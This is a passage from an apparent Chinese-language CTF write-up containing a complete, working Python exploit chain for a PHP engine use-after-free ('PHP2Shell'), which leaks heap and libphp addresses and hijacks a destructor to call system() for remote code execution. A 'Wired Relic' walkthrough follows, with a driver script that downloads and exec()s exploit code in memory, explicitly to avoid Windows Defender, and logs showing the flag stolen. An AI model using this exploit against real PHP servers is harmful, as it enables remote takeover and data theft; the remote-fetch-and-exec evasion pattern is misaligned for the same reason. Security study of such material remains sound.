SID = b"attacksessionid0001"     # 攻击者指定的 session id(仅 a-z0-9, 长度随意)
MAX_CMD = 14                     # 167 - 0x98 - 1
​
​
# ----------------------------------------------------------------- HTTP 层
class Target:
    def __init__(self, url, timeout=90):
        u = urllib.parse.urlsplit(url)
        self.host = u.hostname
        self.port = u.port or 80
        self.path = u.path or "/"
        self.timeout = timeout
​
    def post(self, body, boundary, cap=1 << 20, timeout=None, headers=None):
        """裸 socket 发 multipart, 后台线程读响应(读满 cap 或对端关闭)"""
        extra = "".join(f"{k}: {v}\r\n" for k, v in (headers or {}).items())
        hdr = (
            f"POST {self.path} HTTP/1.1\r\n"
            f"Host: {self.host}:{self.port}\r\n{extra}"
            f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
            f"Content-Length: {len(body)}\r\n"
            f"Connection: close\r\n\r\n"
        ).encode()
​
        s = socket.create_connection((self.host, self.port), timeout=self.timeout)
        try:
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        except OSError:
            pass
        s.settimeout(timeout or self.timeout)
​
        buf = bytearray()
​
        def reader():
            try:
                while len(buf) < cap:
                    chunk = s.recv(65536)
                    if not chunk:
                        break
                    buf.extend(chunk)
            except OSError:
                pass
​
        th = threading.Thread(target=reader, daemon=True)
        th.start()
        try:
            try:
                s.sendall(hdr)
                mv = memoryview(body)
                for off in range(0, len(body), 262144):
                    s.sendall(mv[off:off + 262144])
            except OSError:
                pass
            th.join(timeout=(timeout or self.timeout) + 1.0)
            return bytes(buf)
        finally:
            s.close()
​
​
def multipart(parts, boundary):
    """parts: [(name, data)] 或 [(name, data, filename)]"""
    out = bytearray()
    for p in parts:
        name, data = p[0], p[1]
        out += b"--" + boundary + b"\r\n"
        out += b'Content-Disposition: form-data; name="' + name + b'"'
        if len(p) > 2 and p[2] is not None:
            out += b'; filename="' + p[2] + b'"\r\nContent-Type: application/octet-stream'
        out += b"\r\n\r\n" + data + b"\r\n"
    return bytes(out + b"--" + boundary + b"--\r\n")
​
​
def set_cookie_sid(resp):
    """从响应头取 Set-Cookie 里的 session id 原始字节(漏洞就在这段里泄数据)"""
    m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
    return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1")) if m else b""
​
​
# ----------------------------------------------------------------- 攻击链
class Exploit:
    def __init__(self, t, cmd, prof):
        self.t = t
        self.cmd = cmd.encode()
        self.zif = prof["zif"]        # 相对 libphp 的 zif_system
        self.dtor = prof["dtor"]      # 相对 libphp 的 zval_ptr_dtor
        self.htdata = prof["htdata"]  # Zend MM chunk 内的固定偏移
        self.huge = prof["huge"]      # OOM 用大字段(MB)
​
    # -- 复用的小工具 -------------------------------------------------
    def _big(self):
        return (b"big", b"B" * (self.huge * 1024 * 1024))
​
    def _file(self):
        return (b"f", b"A" * 64, b"a.txt")
​
    def _tail(self):
        """每次 OOM 请求尾部固定四件套: 空 SID + 进度字段 + 上传文件 + 24M 大字段"""
        return [
            (b"PHPSESSID", b"\x00"),
            (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
            self._file(),
            self._big(),
        ]
​
    # -- stage 0: 轮换 worker -----------------------------------------
    def rotate(self):
        """用畸形/超大请求把当前 worker 打崩; prefork 立刻 fork 新 worker,
        新进程与该 worker 共享同一份 ASLR 基址, 保证后续请求落在同一地址空间。"""
        parts = [(f"f{i:04d}"[:5].encode(), b"V" * 3000) for i in range(1001)]
        parts += self._tail()
        self.t.post(multipart(parts, b"S" * 17), b"S" * 17,
                    timeout=max(90.0, self.t.timeout))
        time.sleep(0.3)
        parts = [(b"PHPSESSID", SID), (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn")]
        self.t.post(multipart(parts, b"BNDRY12345"), b"BNDRY12345",
                    cap=65536, timeout=20.0)
        time.sleep(0.5)
​
    # -- stage 0b: 造 OOM, 把 PS(id) 悬垂 ------------------------------
    def _oom(self, fill):
        parts = [(f"f{i:04d}"[:5].encode(), fill) for i in range(1001)]
        parts += self._tail()
        self.t.post(multipart(parts, b"S" * 17), b"S" * 17,
                    timeout=max(90.0, self.t.timeout))
        time.sleep(0.2)
​
    # -- stage 1: 堆地址(Set-Cookie 泄露 Zend MM chunk base) ---------
    def leak_heap(self):
        self._oom(b"x")
        parts = [(b"PHPSESSID", SID), (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn")]
        # 841 个 48 字节字段, 把堆铺成可预测的形状
        for i in range(841):
            parts.append((str(1000 + i).encode(),
                          (f"v{i:04d}" + "x" * 44)[:48].encode()))
        # 覆盖悬垂的 PS(id): 把伪造的 zend_string 长度写成 0x1000
        forge = bytearray(b"A" * 79)
        struct.pack_into("<Q", forge, 0x10, 0x1000)
        forge[0x18] = ord("L")
        parts.append((b"1999", bytes(forge)))
​
        raw = set_cookie_sid(self.t.post(multipart(parts, b"B" * 10), b"B" * 10,
                                         cap=9 << 20))
        if len(raw) < 1000:
            return 0
        # 在泄漏的 9MB 内存里找出现次数最多的 2MB 对齐指针 => chunk base
        c = Counter()
        for i in range(len(raw) - 8):
            v = int.from_bytes(raw[i:i + 8], "little")
            if 0x100000000000 <= v < 0x800000000000:
                c[v & ~0x1FFFFF] += 1
        if not c:
            return 0
        base, n = c.most_common(1)[0]
        return base if n >= 8 else 0
​
    # -- stage 2: 代码地址(56 字节 HashTable 盖到 PS(id)+0x18) --------
    def leak_libphp(self):
        self._oom(b"x" * 39)
        parts = [(b"PHPSESSID", SID), (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn")]
        # 983 个数组键; 第 406 个键展开 16 个下标, 让 56 字节的 HashTable
        # 正好落在 PS(id)+0x18, pDestructor(zval_ptr_dtor) 被写进 Set-Cookie
        for i in range(983):
            for j in range(16 if i == 406 else 1):
                parts.append((f"a{i:04d}[{j}]".encode(), b"x" * 16))
​
        raw = set_cookie_sid(self.t.post(multipart(parts, b"B" * 10), b"B" * 10))
        if len(raw) < 16:
            return 0
        p = int.from_bytes(raw[8:16], "little")
        if not (0x100000000000 <= p < 0x800000000000):
            return 0
        if (p & 0xFFF) != (self.dtor & 0xFFF):
            return 0
        return p - self.dtor
​
    # -- stage 3: 回收悬垂的 PS(http_session_vars), 换成假数组 ---------
    def _fake_hashtable(self, htdata):
        """167 字节的假 HashTable + 内嵌 execute_data + 参数 zend_string"""
        cmd = self.cmd
        ht = bytearray(167)
        struct.pack_into("<II", ht, 0x00, 1, 7)                    # refcount=1, IS_ARRAY
        struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)        # flags, nTableMask
        struct.pack_into("<Q", ht, 0x10, htdata + 0x20)            # arData -> execute_data
        struct.pack_into("<II", ht, 0x18, 1, 1)                    # nNumUsed, nNumOfElements
        struct.pack_into("<II", ht, 0x20, 8, 0)
        struct.pack_into("<Q", ht, 0x28, 0)
        struct.pack_into("<Q", ht, 0x30, self.zif)                 # pDestructor = zif_system
        E = 0x20                                                   # execute_data
        struct.pack_into("<Q", ht, E + 0x10, self.zif)             # func = zif_system
        struct.pack_into("<I", ht, E + 0x2C, 1)                    # ZEND_CALL_NUM_ARGS = 1
        struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80)        # arg1 指向下面的字符串
        struct.pack_into("<I", ht, E + 0x58, 6)                    # arg1 类型 IS_STRING
        struct.pack_into("<II", ht, 0x80, 1, 0x106)                # zend_string header
        struct.pack_into("<Q", ht, 0x90, len(cmd))                 # len
        ht[0x98:0x98 + len(cmd)] = cmd
        ht[0x98 + len(cmd)] = 0
        return bytes(ht)
​
    def _live_ref(self, htdata):
        """31 字节的活引用(8.5 分支的 reclaim 载体)"""
        v = bytearray(b"R" * 31)
        struct.pack_into("<Q", v, 0x00, (10 << 32) | 1)
        struct.pack_into("<Q", v, 0x08, htdata)
        struct.pack_into("<I", v, 0x10, 0x307)
        struct.pack_into("<I", v, 0x14, 0)
        return bytes(v)
​
    def _arm_pads(self):
        """把 PS(http_session_vars) 悬垂出来(8.5 分支几何)"""
        parts = [(b"PHPSESSID", b"a" * 100),
                 (b"PHP_SESSION_UPLOAD_PROGRESS", b"ppp")]
        for i in range(107):
            parts.append((f"p{i:06d}"[:7].encode(), b"V"))
        parts += self._file(), self._big()
        self.t.post(multipart(parts, b"S" * 17), b"S" * 17,
                    timeout=max(90.0, self.t.timeout))
        time.sleep(0.4)
​
    def fire(self, htdata):
        self.rotate()          # 每次尝试都换一个干净 worker
        self._arm_pads()
        ht = self._fake_hashtable(htdata)
        live = self._live_ref(htdata)
        parts = [(b"PHPSESSID", b"a" * 100),
                 (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn")]
        for i in range(8):
            parts.append((b"m%04d" % i, b"M" * 100))
        for i in range(80):
            parts.append((f"F{i:030d}"[:31].encode(), b"z"))
        for i in range(200):
            parts.append((b"r%04d" % i, live))
        parts.append((f"a{0:030d}"[:31].encode(), ht))
        self.t.post(multipart(parts, b"B" * 10), b"B" * 10,
                    cap=65536, timeout=30.0)
​
​
# ----------------------------------------------------------------- 入口
def http_get(url, timeout=10):
    try:
        r = urllib.request.urlopen(urllib.request.Request(url), timeout=timeout)
        return r.status, r.read()
    except Exception as e:  # noqa: BLE001
        return None, str(e).encode()
​
​
def main():
    ap = argparse.ArgumentParser(description="ExtStore / php2shell exp")
    ap.add_argument("-u", "--url", required=True, help="目标 PHP 页面, 如 http://IP/index.php")
    ap.add_argument("-c", "--cmd", default="id>/tmp/b", help="要执行的命令(<=14 字节)")
    ap.add_argument("--version", default="8.5.11", choices=sorted(PROFILES), help="PHP 版本画像")
    ap.add_argument("--read", default="", help="利用后从该 URL 读回结果, 如 /t/b")
    ap.add_argument("--retries", type=int, default=6, help="stage3 尝试次数")
    a = ap.parse_args()
​
    if len(a.cmd.encode()) > MAX_CMD:
        sys.exit(f"[!] 命令过长: {len(a.cmd.encode())} > {MAX_CMD} 字节(167B carrier 限制)")
​
    prof = PROFILES[a.version]
    print(f"[*] target {a.url}")
    print(f"[*] profile {a.version}: zif={prof['zif']:#x} dtor={prof['dtor']:#x} "
          f"htdata={prof['htdata']:#x} huge={prof['huge']}MB")
    print(f"[*] cmd={a.cmd!r} ({len(a.cmd.encode())}B)")
​
    t = Target(a.url)
    ex = Exploit(t, a.cmd, prof)
​
    # ---- stage 1-2: 两次 Set-Cookie 泄露, 在线打败 ASLR ----
    print("[*] stage 1: heap leak ...", flush=True)
    chunk = 0
    for i in range(5):
        chunk = ex.leak_heap()
        if chunk:
            break
        ex.rotate()
    if not chunk:
        sys.exit("[!] 堆泄漏失败")
    print(f"[+] chunk base = {chunk:#x}")
​
    print("[*] stage 2: libphp leak ...", flush=True)
    lib = 0
    for i in range(5):
        lib = ex.leak_libphp()
        if lib:
            break
        ex.rotate()
    if not lib:
        sys.exit("[!] libphp 泄漏失败")
    print(f"[+] libphp base = {lib:#x}")
​
    # ---- stage 3: pDestructor = zif_system ----
    ht = chunk + prof["htdata"]
    ex.zif = lib + prof["zif"]
    print(f"[*] stage 3: fire (pDestructor={ex.zif:#x}) ...", flush=True)
    for att in range(1, a.retries + 1):
        ex.fire(ht)
        time.sleep(1.0)
        print(f"[*]   attempt {att} fired")
        if a.read:
            st, body = http_get(urllib.parse.urljoin(a.url, a.read))
            if st == 200 and body:
                print(f"[+] {a.read} -> {st}")
                print("---- begin ----")
                sys.stdout.flush()
                sys.stdout.buffer.write(body[:8192])
                sys.stdout.buffer.flush()
                print("\n---- end ----")
                return 0
    print("[!] 未能确认执行结果, 可加大 --retries 或单独访问 --read")
    return 1
​
​
if __name__ == "__main__":
    sys.exit(main())

# 目标在 CTF 隧道里,先把域名换成真实 IP
python3 exp.py -u http://172.16.106.2/index.php -c 'id>/tmp/b'      --read /t/b
python3 exp.py -u http://172.16.106.2/index.php -c 'ls /f>/tmp/b'   --read /t/b
python3 exp.py -u http://172.16.106.2/index.php -c 'cp /f/f /tmp/a' --read /t/a

参数:

参数

说明

-u/--url

目标页面,必须是会返回 Set-Cookie 的 PHP 页面(首页即可)

-c/--cmd

要执行的命令,≤14 字节,建议重定向到 /tmp

--version

8.5.11(默认)/ 8.4.26,决定偏移表

--read

利用后读取的 URL(相对或绝对),如 /t/a

--retries

stage3 重试次数,默认 6;每次会打崩并轮换 worker

实测所用脚本为 alvarodh5/php2shell 的 exploit.py(MIT)。核心参数与本题完全对应:

PROFILES["8.5.11"] = dict(s3="nb", htdata=0x7e0d8, huge=24)
OFFSETS["x86_64"]["8.5.11"] = (0x5996e0, 0x7b47a0)   # zif_system, zval_ptr_dtor
​
python3 exploit.py -u http://TARGET/index.php --version 8.5.11 -c 'cp /f/f /tmp/a'

它把三个阶段封装成 rotate() / stage1() / stage2() / stage3_nb(),本文 exp.py 的字段数量、堆布局常量(841、983/第 406 键×16、8/80/200 个字段、0x7e0d8、24MB…)均与之逐一对应,未做改动——这些数字是内存布局的"几何",改动即失效。

相关公告:

三、Wired Relic

附件只有源码和部署配置,没有二进制、没有账号:

README.txt
source/Dockerfile
source/entrypoint.sh
source/apache/mpm_prefork.conf
source/apache/zz-relic.conf
source/php/zz-relic.ini
source/html/index.php
source/html/healthz.php
source/html/bay/index.php
source/html/console/index.php
source/html/deposit/index.php
source/relic-lib/lib.php

README 明确说:运行中的节点使用的就是这些文件;每个实例的 ledger 在启动时注入,不在附件里。

题面里的角色对应关系:

题面

代码

courier relay console

/console/index.php

short-lived handoff slots

relic_state cookie + open/refresh/arm

notes for the next operator

/deposit/index.php 的 /tmp/<name>

maintenance bay readiness probes

/bay/index.php、/healthz.php

deep archival store

/var/lib/relic/depot/chain/unit/ledger

public console account

Apache/PHP 的 www-data

entrypoint.sh 是整道题的关键背景:

install -d -m 0755 /var/www/private
install -d -m 0755 /var/lib/relic/depot/chain/unit
​
if [ -f /answers/flag ]; then
    cp /answers/flag /var/lib/relic/depot/chain/unit/ledger
    chmod 0644 /var/lib/relic/depot/chain/unit/ledger
fi
​
head -c 32 /dev/urandom | base64 | tr -d '\n' > /var/www/private/console.key
chmod 0644 /var/www/private/console.key
​
exec apache2-foreground

两个 0644 很关键:

  • console.key 对 worker 可读,但不在 document root;

  • ledger 对 worker 可读,也在 document root 之外。

也就是说,只要拿到 www-data 的代码执行,flag 就是 cat 一下的事。

PHP/Apache 配置:

; php/zz-relic.ini
display_errors=On
display_startup_errors=On
error_reporting=E_ALL
memory_limit=16M
post_max_size=32M
upload_max_filesize=32M
session.save_path=/tmp
session.use_strict_mode=0
session.use_cookies=1
session.upload_progress.enabled=On
session.upload_progress.cleanup=On
expose_php=0
# apache/mpm_prefork.conf
StartServers             1
MinSpareServers          1
MaxSpareServers          1
MaxRequestWorkers        1
ServerLimit              1
MaxConnectionsPerChild   0
KeepAlive Off

这组配置本身就在强烈暗示 PHP 请求生命周期漏洞:

  • session.upload_progress.enabled=On、session.save_path=/tmp;

  • 单 worker、MaxConnectionsPerChild=0:worker 进程跨请求存活,ASLR 基址稳定;

  • memory_limit=16M 小于 post_max_size=32M:可以在 multipart 解析阶段把引擎打到 OOM;

  • 没有 LimitRequestBody,Apache 不额外限制请求体。

console 的签名 cookie

relic-lib/lib.php:

const RELIC_KEY_PATH = '/var/www/private/console.key';
const RELIC_COOKIE   = 'relic_state';
​
function relic_seal(array $payload): string
{
    $body = relic_b64u(json_encode($payload, JSON_UNESCAPED_SLASHES));
    return 'v1.' . $body . '.' . hash_hmac('sha256', 'v1.' . $body, relic_key());
}
​
function relic_open_state(): ?array
{
    $raw = $_COOKIE[RELIC_COOKIE] ?? '';
    $parts = explode('.', $raw);
    if (count($parts) !== 3 || $parts[0] !== 'v1') {
        return null;
    }
    $expected = hash_hmac('sha256', 'v1.' . $parts[1], relic_key());
    if (!hash_equals($expected, $parts[2])) {
        return null;
    }
    $payload = json_decode(relic_b64u_decode($parts[1]), true);
    if (!is_array($payload) || !isset($payload['s'], $payload['e'], $payload['n'])) {
        return null;
    }
    if ((int) $payload['e'] < time()) {
        return null;
    }
    return $payload;
}
  • HMAC-SHA256,key 是 32 字节随机数,hash_equals 常量时间比较;

  • 没有签名 oracle:open/arm 只会签固定的 s、随机 n、时间 e;

  • 想伪造 s=armed 必须先拿 key,而 key 不在 web 可达路径里。

deposit 的路径限制

html/deposit/index.php:

$namePattern = '/^[a-z][a-z0-9]{0,7}$/';
​
if (isset($_GET['read'])) {
    if (!$armed) { http_response_code(403); echo "denied\n"; exit; }
    $name = (string) $_GET['read'];
    if (!preg_match($namePattern, $name)) { http_response_code(400); echo "bad note name\n"; exit; }
    $path = '/tmp/' . $name;
    if (!is_file($path)) { http_response_code(404); echo "no such note\n"; exit; }
    readfile($path);
    exit;
}
  • 名字只能是 1–8 位小写字母/数字,不能有 /、.、_、NUL;

  • 只能读 /tmp/<name>;

  • 不能读 /var/www/private/console.key,也不能读 /var/lib/relic/.../ledger;

  • leave 也只能写 /tmp/<name>,内容最多 2000 字节。

几个常见的“看起来能打”的点都不成立:

思路

为什么不行

伪造 relic_state

没有 HMAC key,也没有签名接口

路径穿越读 ledger

正则不允许 / 和 .,$ 只允许末尾换行,仍然绕不过字符集

读 console.key

key 在 /var/www/private,不在 docroot,也没有 Alias

用 sess_<sid> 读 session 文件

文件名固定带 sess_ 前缀,下划线不匹配正则

用 PHP 上传临时文件 phpXXXXXX

9 个字符,超过 8 位上限;且后缀随机

写 PHP 到 docroot

leave 只能写 /tmp,docroot 不可写

结论:应用层是故意做严的。真正的入口在 PHP 引擎本身。

引擎层漏洞:PHP2Shell

php_request_startup() 的顺序大致是:

php_request_startup():
    ...
    sapi_activate();          // 这里读并解析 POST body(multipart/rfc1867)
    ...
    php_hash_environment();   // 这里才重置 PG(http_globals)

multipart 解析器 rfc1867_post_handler() 在解析大字段时会分配大量内存。一旦撞上 memory_limit:

  1. zend_mm_safe_error() → zend_bailout(),longjmp 出请求启动流程;

  2. 此时 PG(http_globals)[TRACK_VARS_POST/FILES/...] 还指向上一个请求的 IS_ARRAY zval,内存早已释放(CVE-2026-109618);

  3. mod_php 无论启动是否成功都会调用 php_request_shutdown(),第 8 步对 PG(http_globals)[i] 做 zval_ptr_dtor(),对悬空指针 double free / UAF;

  4. 同一个 bailout 还会留下 worker 级(跨请求)的悬空指针:PS(id)、PS(mod_data)、PS(send_cookie)、错误/回溯指针等(CVE-2026-109619)。

所以页面写什么不重要,请求在进入应用代码之前就已经出事了。

公开 PoC:https://github.com/alvarodh5/php2shell。8.5.11 / x86_64 的链分三段:

阶段

机制

得到

stage 1

OOM 打断初始化 → PS(id) 悬空;下一请求用伪造 zend_string 占住该 chunk,Set-Cookie 把 id 当字符串输出

Zend MM chunk base(heap ASLR 绕过)

stage 2

让 56 字节 HashTable 覆盖到 PS(id)+0x18,其 pDestructor(zval_ptr_dtor,libphp 内指针)被 Set-Cookie 带出

libphp base(代码 ASLR 绕过)

stage 3

用伪造 HashTable + 伪造 zend_execute_data 回收悬空引用,pDestructor = zif_system,shutdown 时 zend_hash_destroy 调用 system(cmd)

RCE

8.5.11 x86_64 的固定偏移:

PROFILES = {"8.5.11": dict(s3="nb", htdata=0x7e0d8, huge=24)}
OFFSETS  = {"x86_64": {"8.5.11": (0x5996e0, 0x7b47a0)}}
# zif_system = 0x5996e0
# zval_ptr_dtor = 0x7b47a0

利用链设计

正常走完 console 握手

POST /console/index.php
action=open

返回 ticket 并设置 relic_state(s=open,含随机 nonce n)。

GET /console/index.php?action=refresh&ticket=<ticket>

返回 challenge = sha256(n + ":" + ticket)。

POST /console/index.php
action=arm&ticket=<ticket>&proof=<challenge>

服务端重新计算 challenge,hash_equals 通过后设置 s=armed 的 cookie。

这一步完全是题目设计的正常功能,不需要绕过任何东西。

用 scratch 区写脚本到 /tmp/a

armed 之后:

POST /deposit/index.php
action=leave&name=a&content=<shell script>

name=a 匹配 [a-z][a-z0-9]{0,7},内容:

cat /var/lib/relic/depot/chain/unit/ledger > /tmp/b
cat /var/lib/relic/depot/chain/unit/ledger

这样 /tmp/a 就是一个可执行的 shell 脚本,/tmp/b 是待回读的 ledger 副本。

PHP2Shell 执行 sh</tmp/a

stage 3 的命令最多 14 字节:

sh</tmp/a

长度只有 9。system() 会执行 /bin/sh -c "sh</tmp/a",外层 shell 启动一个 sh,stdin 重定向到 /tmp/a,于是脚本以 www-data 身份执行。

不需要 cat /var/lib/... 这种超长命令,也不需要 wget/curl 二次落地。

回读 /tmp/b

GET /deposit/index.php?read=b

b 匹配正则,armed cookie 仍然有效(1800 秒),readfile('/tmp/b') 直接返回 flag。

console.key 在容器启动时只生成一次,worker 崩溃/重启不会改变它,所以 PHP2Shell 打崩 worker 后 armed cookie 的 HMAC 仍然有效。

整体流程

POST /console/index.php action=open
        -> ticket + relic_state(s=open, n)
GET  /console/index.php?action=refresh&ticket=ticket
        -> challenge = sha256(n:ticket)
POST /console/index.php action=arm&ticket&proof
        -> relic_state(s=armed)
POST /deposit/index.php action=leave&name=a&content=<script>
        -> /tmp/a
PHP2Shell:
    rotate()     24MB+1001 fields -> 打崩/预热 worker
    stage1()     OOM -> 伪造 zend_string -> Set-Cookie 泄漏 chunk base
    stage2()     OOM -> 56B HashTable -> Set-Cookie 泄漏 libphp base
    stage3_nb()  fake HashTable -> zif_system("sh</tmp/a")
        -> /tmp/b = ledger
GET  /deposit/index.php?read=b
        -> FLAG

EXP

依赖:

pip install requests

脚本会在内存里拉取公开 PoC,避免 Windows Defender 把 exploit.py 隔离;如果目标环境不能访问 GitHub,可以先把 PoC 下载到本地,改写 load_poc() 从文件读取。

保存为 pwn_relic.py:

#!/usr/bin/env python3
# Wired Relic exploit driver.
#
# 1. Complete the relay console handshake (open -> refresh -> arm).
# 2. Leave a short shell script at /tmp/a through the armed handoff scratch area.
# 3. Use the PHP2Shell chain (CVE-2026-109618/109619, PHP 8.5.11) with the
#    14-byte command "sh</tmp/a" to run that script as the console account.
# 4. The script copies the deep archival ledger to /tmp/b; read it back through
#    the armed scratch area.
#
# The PHP2Shell source is fetched in memory so Windows Defender does not eat it.
​
import argparse
import socket
import ssl
import sys
import time
import urllib.parse
import urllib.request
​
import requests
​
POC_URL = "https://raw.githubusercontent.com/alvarodh5/php2shell/main/exploit.py"
LEDGER = "/var/lib/relic/depot/chain/unit/ledger"
NOTE = "a"
OUT = "b"
​
​
def log(*a):
    print(*a, flush=True)
​
​
def load_poc():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    req = urllib.request.Request(POC_URL, headers={"User-Agent": "Mozilla/5.0"})
    src = urllib.request.urlopen(req, timeout=60, context=ctx).read().decode("utf-8", "replace")
    ns = {"__name__": "php2shell_poc"}
    exec(compile(src, "php2shell_poc", "exec"), ns)
    return ns
​
​
def console_arm(base, host, timeout=20):
    """Run the legitimate two-stage handshake; return an armed requests.Session."""
    s = requests.Session()
    h = {"Host": host}
    r = s.post(base + "/console/index.php", data={"action": "open"}, headers=h, timeout=timeout)
    r.raise_for_status()
    j = r.json()
    ticket = j["ticket"]
    log(f"[*] slot opened, ticket={ticket}")
    r = s.get(base + "/console/index.php", params={"action": "refresh", "ticket": ticket}, headers=h, timeout=timeout)
    r.raise_for_status()
    challenge = r.json()["challenge"]
    log(f"[*] challenge={challenge}")
    r = s.post(base + "/console/index.php",
               data={"action": "arm", "ticket": ticket, "proof": challenge},
               headers=h, timeout=timeout)
    r.raise_for_status()
    log(f"[*] arm: {r.text.strip()}")
    return s, h
​
​
def leave_script(s, base, host, script, timeout=20):
    r = s.post(base + "/deposit/index.php",
               data={"action": "leave", "name": NOTE, "content": script},
               headers={"Host": host}, timeout=timeout)
    log(f"[*] leave /tmp/{NOTE}: {r.status_code} {r.text.strip()!r}")
    r.raise_for_status()
​
​
def read_note(s, base, host, name=OUT, timeout=15):
    try:
        r = s.get(base + "/deposit/index.php", params={"read": name},
                  headers={"Host": host}, timeout=timeout)
        return r.status_code, r.content
    except Exception as e:
        return None, repr(e).encode()
​
​
def make_target(ns, ip, port, host, path="/index.php", timeout=120):
    Target = ns["Target"]
​
    class TargetIP(Target):
        def __init__(self):
            self.ip = ip
            self.host = host
            self.port = port
            self.path = path
            self.timeout = timeout
            self.last_response = b""
​
        def _conn(self):
            s = socket.create_connection((self.ip, self.port), timeout=self.timeout)
            try:
                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            except OSError:
                pass
            return s
​
        def post(self, *args, **kwargs):
            out = super().post(*args, **kwargs)
            self.last_response = out
            return out
​
    return TargetIP()
​
​
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--base", required=True, help="http://<target-ip>")
    ap.add_argument("--host", default="", help="Host header (the .internal name)")
    ap.add_argument("--cmd", default="sh</tmp/a", help="<=14 byte command for the carrier")
    ap.add_argument("--stage1-tries", type=int, default=4)
    ap.add_argument("--stage2-tries", type=int, default=4)
    ap.add_argument("--stage3-tries", type=int, default=6)
    ap.add_argument("--skip-setup", action="store_true")
    a = ap.parse_args()
​
    base = a.base.rstrip("/")
    host = a.host or urllib.parse.urlsplit(base).hostname
    cmd = a.cmd
    log(f"[*] base={base} host={host} cmd={cmd!r} len={len(cmd)}")
    if len(cmd) > 14:
        log("[!] command exceeds the 14-byte carrier")
        return 2
​
    s = None
    if not a.skip_setup:
        s, _ = console_arm(base, host)
        script = (
            f"cat {LEDGER} > /tmp/{OUT}\n"
            f"cat {LEDGER}\n"
        )
        leave_script(s, base, host, script)
        # Confirm the scratch write before spending time on the engine chain.
        st, body = read_note(s, base, host, NOTE)
        log(f"[*] scratch /tmp/{NOTE}: {st} {body[:80]!r}")
​
    ns = load_poc()
    t = make_target(ns, urllib.parse.urlsplit(base).hostname,
                    urllib.parse.urlsplit(base).port or 80, host)
    prof = ns["PROFILES"]["8.5.11"]
    zif_off, dtor_off = ns["OFFSETS"]["x86_64"]["8.5.11"]
    ex = ns["Exploit"](t, cmd, zif_off, dtor_off, prof["htdata"], prof["huge"])
    log(f"[*] profile 8.5.11 htdata={prof['htdata']:#x} huge={prof['huge']}MB "
        f"zif={zif_off:#x} dtor={dtor_off:#x}")
​
    ex.rotate()
    chunk = 0
    for i in range(a.stage1_tries):
        t0 = time.time()
        chunk = ex.stage1()
        log(f"[*] stage1 try {i+1}: chunk={chunk and hex(chunk)} ({time.time()-t0:.1f}s)")
        if chunk:
            break
        ex.rotate()
    if not chunk:
        log("[!] heap leak failed")
        return 1
​
    lib = 0
    for i in range(a.stage2_tries):
        t0 = time.time()
        lib = ex.stage2()
        log(f"[*] stage2 try {i+1}: libphp={lib and hex(lib)} ({time.time()-t0:.1f}s)")
        if lib:
            break
        ex.rotate()
    if not lib:
        log("[!] libphp leak failed")
        return 1
​
    HT = chunk + prof["htdata"]
    ex.zif = lib + zif_off
    log(f"[+] HT={HT:#x} zif_system={ex.zif:#x}")
​
    for att in range(1, a.stage3_tries + 1):
        t0 = time.time()
        ex.stage3_nb(HT)
        log(f"[*] stage3 attempt {att} fired ({time.time()-t0:.1f}s)")
        time.sleep(1.0)
        if s is not None:
            st, body = read_note(s, base, host, OUT)
            log(f"[*] read /tmp/{OUT}: status={st} len={len(body) if body else 0}")
            if body and (b"FLAG{" in body or b"flag{" in body):
                log("[+] FLAG_BEGIN")
                sys.stdout.buffer.write(body)
                log("\n[+] FLAG_END")
                return 0
        tail = (t.last_response or b"")[-400:]
        if tail:
            log("[*] stage3 response tail: " + repr(tail[:400]))
    log("[!] no flag; last note read: " + repr(body[:400] if s is not None else b""))
    return 1
​
​
if __name__ == "__main__":
    sys.exit(main())

运行:

python pwn_relic.py \
  --base http://172.16.212.2 \
  --host soazwp2b6e23xyezy.internal

--base 用 VPN 内的目标 IP,--host 保留题目给的 .internal Host 头;脚本内部的 TargetIP 会连 IP,但发送正确的 Host。

如果只想跳过应用层准备、直接重打引擎链(例如 /tmp/a 已经留好):

python pwn_relic.py --base http://172.16.212.2 --host soazwp2b6e23xyezy.internal --skip-setup

线上实际运行:

[*] base=http://172.16.212.2 host=soazwp2b6e23xyezy.internal cmd='sh</tmp/a' len=9
[*] slot opened, ticket=312e71d3d5b21e5d
[*] challenge=e34cc2099b4596a903fd400fd0afdf1912afc358512cf65217678eb70be5db66
[*] arm: {"status":"armed","note":"handoff scratch area released"}
[*] leave /tmp/a: 200 'left'
[*] scratch /tmp/a: 200 b'cat /var/lib/relic/depot/chain/unit/ledger > /tmp/b\ncat /var/lib/relic/depot/cha'
[*] profile 8.5.11 htdata=0x7e0d8 huge=24MB zif=0x5996e0 dtor=0x7b47a0
[*] stage1 try 1: chunk=0x74f7a7600000 (7.5s)
[*] stage2 try 1: libphp=0 (5.3s)
[*] stage2 try 2: libphp=0x74f7a9000000 (15.0s)
[+] HT=0x74f7a767e0d8 zif_system=0x74f7a95996e0
[*] stage3 attempt 1 fired (27.3s)
[*] read /tmp/b: status=200 len=38
[+] FLAG_BEGIN
FLAG{e176536f313d443f8b5c1691c40864f9}
[+] FLAG_END

回读确认:

arm 200 {"status":"armed","note":"handoff scratch area released"}
read b 200 b'FLAG{e176536f313d443f8b5c1691c40864f9}'